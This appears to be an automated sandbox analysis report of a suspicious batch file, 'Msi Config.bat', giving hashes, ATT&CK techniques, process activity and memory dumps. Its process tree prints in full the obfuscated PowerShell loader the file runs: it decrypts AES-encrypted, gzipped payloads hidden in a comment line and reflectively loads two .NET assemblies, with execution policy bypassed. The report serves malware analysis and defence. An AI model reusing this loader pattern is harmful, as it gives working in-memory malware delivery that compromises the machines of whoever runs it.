d9a2b84c3e8cf02f3d3fb7356c6d441dc7f0ff1065049bfe45934180c6be8d05

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
18-08-2024 01:08

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General

Target

Msi Config.bat
Size

2.3MB
MD5

1e914a539f872fe4fd2d7da4f8e4a4b8
SHA1

f064a29af9f6f14da4b4e1118c9a29b59ef5f682
SHA256

d9a2b84c3e8cf02f3d3fb7356c6d441dc7f0ff1065049bfe45934180c6be8d05
SHA512

e286ff0f51d53302c3fced2dc7f4ae9dd94f698fab1532ef2a55c33b4890a610c200597c526fb8607850b2a986812cacf30bef03fa5d9c4f5f6c399c06c14edd
SSDEEP

49152:hrC9ycihw/wF56sLdvUrtiQU3L4stTKerWQVsk:sk

Score

6^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2344	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2344	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 2344	3032	cmd.exe	32
PID 3032 wrote to memory of 2344	3032	cmd.exe	32
PID 3032 wrote to memory of 2344	3032	cmd.exe	32
PID 3032 wrote to memory of 2344	3032	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Msi Config.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Rn1hZDs/4U0BsBRi9y46eXfL3OCT0WAu9wBq9nT2OaA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k6ffxuXTXkacVwxnadjdNA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kZwph=New-Object System.IO.MemoryStream(,$param_var); $sOaru=New-Object System.IO.MemoryStream; $cTJdl=New-Object System.IO.Compression.GZipStream($kZwph, [IO.Compression.CompressionMode]::Decompress); $cTJdl.CopyTo($sOaru); $cTJdl.Dispose(); $kZwph.Dispose(); $sOaru.Dispose(); $sOaru.ToArray();}function execute_function($param_var,$param2_var){ $lbbAA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBxyl=$lbbAA.EntryPoint; $eBxyl.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Msi Config.bat';$BsoNF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Msi Config.bat').Split([Environment]::NewLine);foreach ($TmLcO in $BsoNF) { if ($TmLcO.StartsWith(':: ')) { $JBYjA=$TmLcO.Substring(3); break; }}$payloads_var=[string[]]$JBYjA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2344-2-0x0000000073C61000-0x0000000073C62000-memory.dmp

Filesize
4KB

Download
memory/2344-4-0x0000000073C60000-0x000000007420B000-memory.dmp

Filesize
5.7MB

Download
memory/2344-3-0x0000000073C60000-0x000000007420B000-memory.dmp

Filesize
5.7MB

Download
memory/2344-5-0x0000000073C60000-0x000000007420B000-memory.dmp

Filesize
5.7MB

Download
memory/2344-6-0x0000000073C60000-0x000000007420B000-memory.dmp

Filesize
5.7MB

Download
memory/2344-7-0x0000000073C60000-0x000000007420B000-memory.dmp

Filesize
5.7MB

Download